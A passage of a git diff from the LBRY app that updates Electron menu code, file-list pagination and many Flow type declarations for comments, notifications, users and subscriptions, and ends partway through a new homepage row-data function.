|
||||
{ role: 'copy' },
|
||||
{ role: 'paste' },
|
||||
{ role: 'selectAll' },
|
||||
],
|
||||
},
|
||||
{
|
||||
label: 'View',
|
||||
submenu: [
|
||||
{ role: 'reload' },
|
||||
{
|
||||
label: 'Zoom',
|
||||
submenu: [
|
||||
{
|
||||
label: 'Zoom In',
|
||||
accelerator: 'CmdOrCtrl+=',
|
||||
click: (menuItem, browserWindow) => {
|
||||
if (browserWindow) {
|
||||
browserWindow.webContents.send('zoom-window', ZOOM.INCREMENT);
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
label: 'Zoom Out',
|
||||
accelerator: 'CmdOrCtrl+-',
|
||||
click: (menuItem, browserWindow) => {
|
||||
if (browserWindow) {
|
||||
browserWindow.webContents.send('zoom-window', ZOOM.DECREMENT);
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
label: 'Reset Zoom',
|
||||
accelerator: 'CmdOrCtrl+0',
|
||||
click: (menuItem, browserWindow) => {
|
||||
if (browserWindow) {
|
||||
browserWindow.webContents.send('zoom-window', ZOOM.RESET);
|
||||
}
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
label: 'Developer',
|
||||
submenu: [{ role: 'forcereload' }, { role: 'toggledevtools' }],
|
||||
@@ -71,7 +105,7 @@ export default () => {
|
||||
];
|
||||
|
||||
const darwinTemplateAddition = {
|
||||
label: app.getName(),
|
||||
label: app.name,
|
||||
submenu: [
|
||||
{ role: 'about' },
|
||||
{ type: 'separator' },
|
||||
File renamed without changes.
@@ -31,7 +31,7 @@ export default async function startSandbox() {
|
||||
.on('error', err => {
|
||||
if (err.code === 'EADDRINUSE') {
|
||||
console.log(
|
||||
'Server already listening at localhost://5278: This is probably another LBRY app running. If not, games in the app will not work.'
|
||||
`Server already listening at localhost:${port}. This is probably another LBRY app running. If not, games in the app will not work.`
|
||||
);
|
||||
}
|
||||
});
|
||||
@@ -3,7 +3,7 @@ import path from 'path';
|
||||
import { unpackDirectory } from 'lbry-format';
|
||||
|
||||
async function unpackByOutpoint(lbry, outpoint) {
|
||||
const claimFiles = await lbry.file_list({ outpoint, full_status: true });
|
||||
const { items: claimFiles } = await lbry.file_list({ outpoint, full_status: true, page: 1, page_size: 1 });
|
||||
|
||||
if (claimFiles && claimFiles.length) {
|
||||
const claimFileInfo = claimFiles[0];
|
||||
Vendored
+2
@@ -0,0 +1,2 @@
|
||||
// @flow
|
||||
declare function __(a: string, b?: {}): string;
|
||||
Vendored
+43
@@ -0,0 +1,43 @@
|
||||
declare type Comment = {
|
||||
comment: string, // comment body
|
||||
comment_id: string, // sha256 digest
|
||||
claim_id: string, // id linking to the claim this comment
|
||||
timestamp: number, // integer representing unix-time
|
||||
is_hidden: boolean, // claim owner may enable/disable this
|
||||
channel_id: string, // claimId of channel signing this comment
|
||||
channel_name?: string, // name of channel claim
|
||||
channel_url?: string, // full lbry url to signing channel
|
||||
signature?: string, // signature of comment by originating channel
|
||||
signing_ts?: string, // timestamp used when signing this comment
|
||||
is_channel_signature_valid?: boolean, // whether or not the signature could be validated
|
||||
parent_id?: number, // comment_id of comment this is in reply to
|
||||
is_pinned: boolean,
|
||||
};
|
||||
|
||||
// todo: relate individual comments to their commentId
|
||||
declare type CommentsState = {
|
||||
commentsByUri: { [string]: string },
|
||||
byId: { [string]: Array<string> },
|
||||
repliesByParentId: { [string]: Array<string> }, // ParentCommentID -> list of reply comments
|
||||
topLevelCommentsById: { [string]: Array<string> }, // ClaimID -> list of top level comments
|
||||
commentById: { [string]: Comment },
|
||||
isLoading: boolean,
|
||||
myComments: ?Set<string>,
|
||||
isFetchingReacts: boolean,
|
||||
myReactsByCommentId: any,
|
||||
othersReactsByCommentId: any,
|
||||
pendingCommentReactions: Array<string>,
|
||||
moderationBlockList: ?Array<string>,
|
||||
fetchingModerationBlockList: boolean,
|
||||
blockingByUri: {},
|
||||
unBlockingByUri: {},
|
||||
};
|
||||
|
||||
declare type CommentReactParams = {
|
||||
comment_ids: string,
|
||||
channel_name: string,
|
||||
channel_id: string,
|
||||
react_type: string,
|
||||
clear_types?: string,
|
||||
remove?: boolean,
|
||||
};
|
||||
Vendored
+16
@@ -0,0 +1,16 @@
|
||||
// @flow
|
||||
declare type CommentListParams = {
|
||||
page: number,
|
||||
page_size: number,
|
||||
claim_id: string,
|
||||
};
|
||||
|
||||
declare type CommentAbandonParams = {
|
||||
comment_id: string,
|
||||
creator_channel_id?: string,
|
||||
creator_channel_name?: string,
|
||||
channel_id?: string,
|
||||
hexdata?: string,
|
||||
};
|
||||
|
||||
declare type ModerationBlockParams = {};
|
||||
Vendored
+8
@@ -0,0 +1,8 @@
|
||||
// @flow
|
||||
|
||||
declare type PlayingUri = {
|
||||
uri: string,
|
||||
pathname: string,
|
||||
commentId?: string,
|
||||
source?: string,
|
||||
};
|
||||
Vendored
+26
@@ -0,0 +1,26 @@
|
||||
declare type HomepageObject = {
|
||||
icon: string,
|
||||
link: string,
|
||||
options: any,
|
||||
route: string,
|
||||
title: string,
|
||||
}
|
||||
|
||||
declare type HomepageData = {
|
||||
[string]: HomepageObject,
|
||||
default: any => any,
|
||||
}
|
||||
|
||||
declare type RowDataItem = {
|
||||
title: any,
|
||||
link?: string,
|
||||
help?: any,
|
||||
icon?: string,
|
||||
extra?: any,
|
||||
options?: {
|
||||
channelIds?: Array<string>,
|
||||
pageSize: number,
|
||||
},
|
||||
route?: string,
|
||||
hideForUnauth?: boolean,
|
||||
};
|
||||
Vendored
-1
@@ -1 +0,0 @@
|
||||
declare function __(a: string, b?: string | number): string;
|
||||
Vendored
+38
@@ -0,0 +1,38 @@
|
||||
// @flow
|
||||
declare type WebNotification = {
|
||||
active_at: string,
|
||||
created_at: string,
|
||||
id: number,
|
||||
is_app_readable: boolean,
|
||||
is_device_notified: boolean,
|
||||
is_emailed: boolean,
|
||||
is_read: boolean,
|
||||
is_seen: boolean,
|
||||
notification_parameters: {
|
||||
device: {
|
||||
analytics_label: string,
|
||||
image_url: string,
|
||||
is_data_only: boolean,
|
||||
name: string,
|
||||
placeholders: ?string,
|
||||
target: string,
|
||||
text: string,
|
||||
title: string,
|
||||
type: string,
|
||||
},
|
||||
dynamic: {
|
||||
comment_author: string,
|
||||
reply_author: string,
|
||||
hash: string,
|
||||
claim_title: string,
|
||||
comment?: string,
|
||||
channel_url: string,
|
||||
},
|
||||
email: {},
|
||||
},
|
||||
notification_rule: string,
|
||||
type: string,
|
||||
updated_at: string,
|
||||
user_id: number,
|
||||
group_count?: number,
|
||||
};
|
||||
Vendored
-32
@@ -1,32 +0,0 @@
|
||||
// flow-typed signature: 33d904b96c8747ed8b41b631dd56dbab
|
||||
// flow-typed version: <<STUB>>/keytar_v4.4.1/flow_v0.94.0
|
||||
|
||||
/**
|
||||
* This is an autogenerated libdef stub for:
|
||||
*
|
||||
* 'keytar'
|
||||
*
|
||||
* Fill this stub out by replacing all the `any` types.
|
||||
*
|
||||
* Once filled out, we encourage you to share your work with the
|
||||
* community by sending a pull request to:
|
||||
* https://github.com/flowtype/flow-typed
|
||||
*/
|
||||
|
||||
declare module 'keytar' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
/**
|
||||
* We include stubs for each file inside this npm package in case you need to
|
||||
* require those files directly. Feel free to delete any files that aren't
|
||||
* needed.
|
||||
*/
|
||||
declare module 'keytar/lib/keytar' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
// Filename aliases
|
||||
declare module 'keytar/lib/keytar.js' {
|
||||
declare module.exports: $Exports<'keytar/lib/keytar'>;
|
||||
}
|
||||
Vendored
-27
@@ -1,27 +0,0 @@
|
||||
// flow-typed signature: 405ae1983603e8018c018978697f94de
|
||||
// flow-typed version: 578dff53f6/mime_v2.x.x/flow_>=v0.25.x
|
||||
|
||||
declare type $npm$mime$TypeMap = {[mime: string]: Array<string>};
|
||||
|
||||
declare class $npm$mime$Mime {
|
||||
constructor(...typeMap: Array<$npm$mime$TypeMap>): void;
|
||||
|
||||
define(typeMap: $npm$mime$TypeMap, force?: boolean): void;
|
||||
getExtension(mime: string): ?string;
|
||||
getType(path: string): ?string;
|
||||
}
|
||||
|
||||
declare module 'mime' {
|
||||
declare type TypeMap = $npm$mime$TypeMap;
|
||||
declare module.exports: $npm$mime$Mime;
|
||||
}
|
||||
|
||||
declare module 'mime/lite' {
|
||||
declare type TypeMap = $npm$mime$TypeMap;
|
||||
declare module.exports: $npm$mime$Mime;
|
||||
}
|
||||
|
||||
declare module 'mime/Mime' {
|
||||
declare type TypeMap = $npm$mime$TypeMap;
|
||||
declare module.exports: typeof $npm$mime$Mime;
|
||||
}
|
||||
Vendored
-270
@@ -1,270 +0,0 @@
|
||||
// flow-typed signature: ffdd57cb6a0c6f4b1d0b68538d77fd53
|
||||
// flow-typed version: <<STUB>>/node-sass_v^4.11.0/flow_v0.94.0
|
||||
|
||||
/**
|
||||
* This is an autogenerated libdef stub for:
|
||||
*
|
||||
* 'node-sass'
|
||||
*
|
||||
* Fill this stub out by replacing all the `any` types.
|
||||
*
|
||||
* Once filled out, we encourage you to share your work with the
|
||||
* community by sending a pull request to:
|
||||
* https://github.com/flowtype/flow-typed
|
||||
*/
|
||||
|
||||
declare module 'node-sass' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
/**
|
||||
* We include stubs for each file inside this npm package in case you need to
|
||||
* require those files directly. Feel free to delete any files that aren't
|
||||
* needed.
|
||||
*/
|
||||
declare module 'node-sass/lib/binding' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/lib/errors' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/lib/extensions' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/lib/index' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/lib/render' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/lib/watcher' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/scripts/build' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/scripts/coverage' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/scripts/install' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/scripts/prepublish' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/scripts/util/downloadoptions' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/scripts/util/proxy' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/scripts/util/useragent' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/api' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/binding' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/cli' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/downloadoptions' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/errors' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_arrays_of_importers' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_functions_setter' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_functions_string_conversion' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_data_cb' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_data' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_error' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_file_and_data_cb' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_file_and_data' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_file_cb' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_file' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/lowlevel' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/runtime' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/scripts/util/proxy' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/spec' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/types' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/useragent' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'node-sass/test/watcher' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
// Filename aliases
|
||||
declare module 'node-sass/lib/binding.js' {
|
||||
declare module.exports: $Exports<'node-sass/lib/binding'>;
|
||||
}
|
||||
declare module 'node-sass/lib/errors.js' {
|
||||
declare module.exports: $Exports<'node-sass/lib/errors'>;
|
||||
}
|
||||
declare module 'node-sass/lib/extensions.js' {
|
||||
declare module.exports: $Exports<'node-sass/lib/extensions'>;
|
||||
}
|
||||
declare module 'node-sass/lib/index.js' {
|
||||
declare module.exports: $Exports<'node-sass/lib/index'>;
|
||||
}
|
||||
declare module 'node-sass/lib/render.js' {
|
||||
declare module.exports: $Exports<'node-sass/lib/render'>;
|
||||
}
|
||||
declare module 'node-sass/lib/watcher.js' {
|
||||
declare module.exports: $Exports<'node-sass/lib/watcher'>;
|
||||
}
|
||||
declare module 'node-sass/scripts/build.js' {
|
||||
declare module.exports: $Exports<'node-sass/scripts/build'>;
|
||||
}
|
||||
declare module 'node-sass/scripts/coverage.js' {
|
||||
declare module.exports: $Exports<'node-sass/scripts/coverage'>;
|
||||
}
|
||||
declare module 'node-sass/scripts/install.js' {
|
||||
declare module.exports: $Exports<'node-sass/scripts/install'>;
|
||||
}
|
||||
declare module 'node-sass/scripts/prepublish.js' {
|
||||
declare module.exports: $Exports<'node-sass/scripts/prepublish'>;
|
||||
}
|
||||
declare module 'node-sass/scripts/util/downloadoptions.js' {
|
||||
declare module.exports: $Exports<'node-sass/scripts/util/downloadoptions'>;
|
||||
}
|
||||
declare module 'node-sass/scripts/util/proxy.js' {
|
||||
declare module.exports: $Exports<'node-sass/scripts/util/proxy'>;
|
||||
}
|
||||
declare module 'node-sass/scripts/util/useragent.js' {
|
||||
declare module.exports: $Exports<'node-sass/scripts/util/useragent'>;
|
||||
}
|
||||
declare module 'node-sass/test/api.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/api'>;
|
||||
}
|
||||
declare module 'node-sass/test/binding.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/binding'>;
|
||||
}
|
||||
declare module 'node-sass/test/cli.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/cli'>;
|
||||
}
|
||||
declare module 'node-sass/test/downloadoptions.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/downloadoptions'>;
|
||||
}
|
||||
declare module 'node-sass/test/errors.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/errors'>;
|
||||
}
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_arrays_of_importers.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/fixtures/extras/my_custom_arrays_of_importers'>;
|
||||
}
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_functions_setter.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/fixtures/extras/my_custom_functions_setter'>;
|
||||
}
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_functions_string_conversion.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/fixtures/extras/my_custom_functions_string_conversion'>;
|
||||
}
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_data_cb.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/fixtures/extras/my_custom_importer_data_cb'>;
|
||||
}
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_data.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/fixtures/extras/my_custom_importer_data'>;
|
||||
}
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_error.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/fixtures/extras/my_custom_importer_error'>;
|
||||
}
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_file_and_data_cb.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/fixtures/extras/my_custom_importer_file_and_data_cb'>;
|
||||
}
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_file_and_data.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/fixtures/extras/my_custom_importer_file_and_data'>;
|
||||
}
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_file_cb.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/fixtures/extras/my_custom_importer_file_cb'>;
|
||||
}
|
||||
declare module 'node-sass/test/fixtures/extras/my_custom_importer_file.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/fixtures/extras/my_custom_importer_file'>;
|
||||
}
|
||||
declare module 'node-sass/test/lowlevel.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/lowlevel'>;
|
||||
}
|
||||
declare module 'node-sass/test/runtime.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/runtime'>;
|
||||
}
|
||||
declare module 'node-sass/test/scripts/util/proxy.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/scripts/util/proxy'>;
|
||||
}
|
||||
declare module 'node-sass/test/spec.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/spec'>;
|
||||
}
|
||||
declare module 'node-sass/test/types.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/types'>;
|
||||
}
|
||||
declare module 'node-sass/test/useragent.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/useragent'>;
|
||||
}
|
||||
declare module 'node-sass/test/watcher.js' {
|
||||
declare module.exports: $Exports<'node-sass/test/watcher'>;
|
||||
}
|
||||
Vendored
-60
@@ -1,60 +0,0 @@
|
||||
// flow-typed signature: dbdb6148e2902ceaf3e437a7fe96ffa1
|
||||
// flow-typed version: <<STUB>>/react-pose_v^4.0.5/flow_v0.94.0
|
||||
|
||||
/**
|
||||
* This is an autogenerated libdef stub for:
|
||||
*
|
||||
* 'react-pose'
|
||||
*
|
||||
* Fill this stub out by replacing all the `any` types.
|
||||
*
|
||||
* Once filled out, we encourage you to share your work with the
|
||||
* community by sending a pull request to:
|
||||
* https://github.com/flowtype/flow-typed
|
||||
*/
|
||||
|
||||
declare module 'react-pose' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
/**
|
||||
* We include stubs for each file inside this npm package in case you need to
|
||||
* require those files directly. Feel free to delete any files that aren't
|
||||
* needed.
|
||||
*/
|
||||
declare module 'react-pose/dist/react-pose.dev' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'react-pose/dist/react-pose.es' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'react-pose/dist/react-pose' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'react-pose/lib/index' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
declare module 'react-pose/rollup.config' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
|
||||
// Filename aliases
|
||||
declare module 'react-pose/dist/react-pose.dev.js' {
|
||||
declare module.exports: $Exports<'react-pose/dist/react-pose.dev'>;
|
||||
}
|
||||
declare module 'react-pose/dist/react-pose.es.js' {
|
||||
declare module.exports: $Exports<'react-pose/dist/react-pose.es'>;
|
||||
}
|
||||
declare module 'react-pose/dist/react-pose.js' {
|
||||
declare module.exports: $Exports<'react-pose/dist/react-pose'>;
|
||||
}
|
||||
declare module 'react-pose/lib/index.js' {
|
||||
declare module.exports: $Exports<'react-pose/lib/index'>;
|
||||
}
|
||||
declare module 'react-pose/rollup.config.js' {
|
||||
declare module.exports: $Exports<'react-pose/rollup.config'>;
|
||||
}
|
||||
Vendored
+1
@@ -24,6 +24,7 @@ declare type UpdatePublishFormData = {
|
||||
licenseType?: string,
|
||||
uri?: string,
|
||||
nsfw: boolean,
|
||||
isMarkdownPost: boolean,
|
||||
};
|
||||
|
||||
declare type PublishParams = {
|
||||
|
||||
Vendored
+3
@@ -0,0 +1,3 @@
|
||||
// @flow
|
||||
|
||||
declare type Dispatch = any;
|
||||
Vendored
-3
@@ -1,3 +0,0 @@
|
||||
declare module 'render-media' {
|
||||
declare module.exports: any;
|
||||
}
|
||||
Vendored
+1
@@ -4,6 +4,7 @@ declare type Reward = {
|
||||
created_at: string,
|
||||
id: number,
|
||||
reward_amount: number,
|
||||
reward_range?: string,
|
||||
reward_description: string,
|
||||
reward_notification: string,
|
||||
reward_title: string,
|
||||
|
||||
Vendored
+36
@@ -0,0 +1,36 @@
|
||||
// @flow
|
||||
import * as ACTIONS from 'constants/action_types';
|
||||
|
||||
declare type SearchOptions = {
|
||||
// :(
|
||||
// https://github.com/facebook/flow/issues/6492
|
||||
RESULT_COUNT: number,
|
||||
CLAIM_TYPE: string,
|
||||
INCLUDE_FILES: string,
|
||||
INCLUDE_CHANNELS: string,
|
||||
INCLUDE_FILES_AND_CHANNELS: string,
|
||||
MEDIA_AUDIO: string,
|
||||
MEDIA_VIDEO: string,
|
||||
MEDIA_TEXT: string,
|
||||
MEDIA_IMAGE: string,
|
||||
MEDIA_APPLICATION: string,
|
||||
};
|
||||
|
||||
declare type SearchState = {
|
||||
options: SearchOptions,
|
||||
urisByQuery: {},
|
||||
searching: boolean,
|
||||
};
|
||||
|
||||
declare type SearchSuccess = {
|
||||
type: ACTIONS.SEARCH_SUCCESS,
|
||||
data: {
|
||||
query: string,
|
||||
uris: Array<string>,
|
||||
},
|
||||
};
|
||||
|
||||
declare type UpdateSearchOptions = {
|
||||
type: ACTIONS.UPDATE_SEARCH_OPTIONS,
|
||||
data: SearchOptions,
|
||||
};
|
||||
Vendored
+5
-87
@@ -14,99 +14,17 @@ import {
|
||||
declare type Subscription = {
|
||||
channelName: string, // @CryptoCandor,
|
||||
uri: string, // lbry://@CryptoCandor#9152f3b054f692076a6882d1b58a30e8781cc8e6
|
||||
latest?: string, // substratum#b0ab143243020e7831fd070d9f871e1fda948620
|
||||
notificationsDisabled?: boolean,
|
||||
};
|
||||
|
||||
// Tracking for new content
|
||||
// i.e. If a subscription has a DOWNLOADING type, we will trigger an OS notification
|
||||
// to tell users there is new content from their subscriptions
|
||||
declare type SubscriptionNotificationType = DOWNLOADED | DOWNLOADING | NOTIFY_ONLY;
|
||||
|
||||
declare type UnreadSubscription = {
|
||||
type: SubscriptionNotificationType,
|
||||
uris: Array<string>,
|
||||
};
|
||||
|
||||
declare type UnreadSubscriptions = {
|
||||
[string]: UnreadSubscription,
|
||||
};
|
||||
|
||||
declare type ViewMode = VIEW_LATEST_FIRST | VIEW_ALL;
|
||||
|
||||
declare type SuggestedType = SUGGESTED_TOP_BID | SUGGESTED_TOP_SUBSCRIBED | SUGGESTED_FEATURED;
|
||||
|
||||
declare type SuggestedSubscriptions = {
|
||||
[SuggestedType]: string,
|
||||
declare type Following = {
|
||||
uri: string, // lbry://@CryptoCandor#9152f3b054f692076a6882d1b58a30e8781cc8e6
|
||||
notificationsDisabled: boolean,
|
||||
};
|
||||
|
||||
declare type SubscriptionState = {
|
||||
subscriptions: Array<Subscription>,
|
||||
unread: UnreadSubscriptions,
|
||||
following: Array<Following>,
|
||||
loading: boolean,
|
||||
viewMode: ViewMode,
|
||||
suggested: SuggestedSubscriptions,
|
||||
loadingSuggested: boolean,
|
||||
firstRunCompleted: boolean,
|
||||
showSuggestedSubs: boolean,
|
||||
};
|
||||
|
||||
//
|
||||
// Action types
|
||||
//
|
||||
declare type DoChannelSubscribe = {
|
||||
type: ACTIONS.CHANNEL_SUBSCRIBE,
|
||||
data: Subscription,
|
||||
};
|
||||
|
||||
declare type DoChannelUnsubscribe = {
|
||||
type: ACTIONS.CHANNEL_UNSUBSCRIBE,
|
||||
data: Subscription,
|
||||
};
|
||||
|
||||
declare type DoUpdateSubscriptionUnreads = {
|
||||
type: ACTIONS.UPDATE_SUBSCRIPTION_UNREADS,
|
||||
data: {
|
||||
channel: string,
|
||||
uris: Array<string>,
|
||||
type?: SubscriptionNotificationType,
|
||||
},
|
||||
};
|
||||
|
||||
declare type DoRemoveSubscriptionUnreads = {
|
||||
type: ACTIONS.REMOVE_SUBSCRIPTION_UNREADS,
|
||||
data: {
|
||||
channel: string,
|
||||
uris: Array<string>,
|
||||
},
|
||||
};
|
||||
|
||||
declare type SetSubscriptionLatest = {
|
||||
type: ACTIONS.SET_SUBSCRIPTION_LATEST,
|
||||
data: {
|
||||
subscription: Subscription,
|
||||
uri: string,
|
||||
},
|
||||
};
|
||||
|
||||
declare type CheckSubscriptionStarted = {
|
||||
type: ACTIONS.CHECK_SUBSCRIPTION_STARTED,
|
||||
};
|
||||
|
||||
declare type CheckSubscriptionCompleted = {
|
||||
type: ACTIONS.CHECK_SUBSCRIPTION_COMPLETED,
|
||||
};
|
||||
|
||||
declare type FetchedSubscriptionsSucess = {
|
||||
type: ACTIONS.FETCH_SUBSCRIPTIONS_SUCCESS,
|
||||
data: Array<Subscription>,
|
||||
};
|
||||
|
||||
declare type SetViewMode = {
|
||||
type: ACTIONS.SET_VIEW_MODE,
|
||||
data: ViewMode,
|
||||
};
|
||||
|
||||
declare type GetSuggestedSubscriptionsSuccess = {
|
||||
type: ACTIONS.GET_SUGGESTED_SUBSCRIPTIONS_START,
|
||||
data: SuggestedSubscriptions,
|
||||
};
|
||||
Vendored
+31
@@ -0,0 +1,31 @@
|
||||
// @flow
|
||||
|
||||
type DeviceType = 'mobile' | 'web' | 'desktop';
|
||||
|
||||
declare type User = {
|
||||
country: ?string,
|
||||
created_at: string,
|
||||
family_name: ?string,
|
||||
given_name: ?string,
|
||||
groups: Array<string>,
|
||||
has_verified_email: boolean,
|
||||
id: number,
|
||||
invite_reward_claimed: boolean,
|
||||
invited_at: ?number,
|
||||
invited_by_id: number,
|
||||
invites_remaining: number,
|
||||
is_email_enabled: boolean,
|
||||
is_identity_verified: boolean,
|
||||
is_reward_approved: boolean,
|
||||
password_set: boolean,
|
||||
language: string,
|
||||
manual_approval_user_id: ?number,
|
||||
primary_email: ?string,
|
||||
latest_claimed_email: ?string,
|
||||
reward_status_change_trigger: string,
|
||||
updated_at: string,
|
||||
youtube_channels: ?Array<string>,
|
||||
device_types: Array<DeviceType>,
|
||||
lbry_first_approved: boolean,
|
||||
experimental_ui: boolean,
|
||||
};
|
||||
Vendored
+6
@@ -0,0 +1,6 @@
|
||||
// @flow
|
||||
|
||||
declare type WebFile = File & {
|
||||
path?: string,
|
||||
title?: string,
|
||||
}
|
||||
@@ -0,0 +1,267 @@
|
||||
// @flow
|
||||
import * as PAGES from 'constants/pages';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import * as CS from 'constants/claim_search';
|
||||
import { parseURI } from 'lbry-redux';
|
||||
import moment from 'moment';
|
||||
import { toCapitalCase } from 'util/string';
|
||||
import { useIsLargeScreen } from 'effects/use-screensize';
|
||||
|
||||
export type RowDataItem = {
|
||||
title: string,
|
||||
link?: string,
|
||||
help?: any,
|
||||
options?: {},
|
||||
icon?: string,
|
||||
};
|
||||
|
||||
export default function GetHomePageRowData(
|
||||
authenticated: boolean,
|
||||
showPersonalizedChannels: boolean,
|
||||
showPersonalizedTags: boolean,
|
||||
subscribedChannels: Array<Subscription>,
|
||||
followedTags: Array<Tag>,
|
||||
showIndividualTags: boolean,
|
||||
showNsfw: boolean
|
||||
) {
|
||||
const isLargeScreen = useIsLargeScreen();
|
||||
|
||||
function getPageSize(originalSize) {
|
||||
return isLargeScreen ? originalSize * (3 / 2) : originalSize;
|
||||
}
|
||||
|
||||
let rowData: Array<RowDataItem> = [];
|
||||
const individualTagDataItems: Array<RowDataItem> = [];
|
||||
const YOUTUBER_CHANNEL_IDS = [
|
||||
'fb364ef587872515f545a5b4b3182b58073f230f',
|
||||
'589276465a23c589801d874f484cc39f307d7ec7',
|
||||
'ba79c80788a9e1751e49ad401f5692d86f73a2db',
|
||||
'b6e207c5f8c58e7c8362cd05a1501bf2f5b694f2',
|
||||
'c5724e280283cd985186af9a62494aae377daabd',
|
||||
'243b6f18093ff97c861d0568c7d3379606201a4b',
|
||||
'5b7c7a202201033d99e1be2930d290c127c0f4fe',
|
||||
'c9da929d12afe6066acc89eb044b552f0d63782a',
|
||||
'89985db232ec2a9a31dbd985196de817da223fe6',
|
||||
'187bf3616318b4bfb85223fc40724c307696f0c6',
|
||||
'aa3db8d2145340e26597b88fbb6d0e7ff09786be',
|
||||
'a9d289718f3f14e3d1fa8da7a7fcfdb6f40ae2d7',
|
||||
'9a5dfcb1a4b29c3a1598392d039744b9938b5a26',
|
||||
'0b998b98a2b9a88d9519739f99f2c74c95e3fc22',
|
||||
'46be492ee0f56db11e005991c537c867a8682f77',
|
||||
'c5cd9b63e2ba0abc191feae48238f464baecb147',
|
||||
'4b602d7a3e268abb45951f623a109d2a131ab0ba',
|
||||
'd25ae97a1516f5700fc717152b885f33da47f12b',
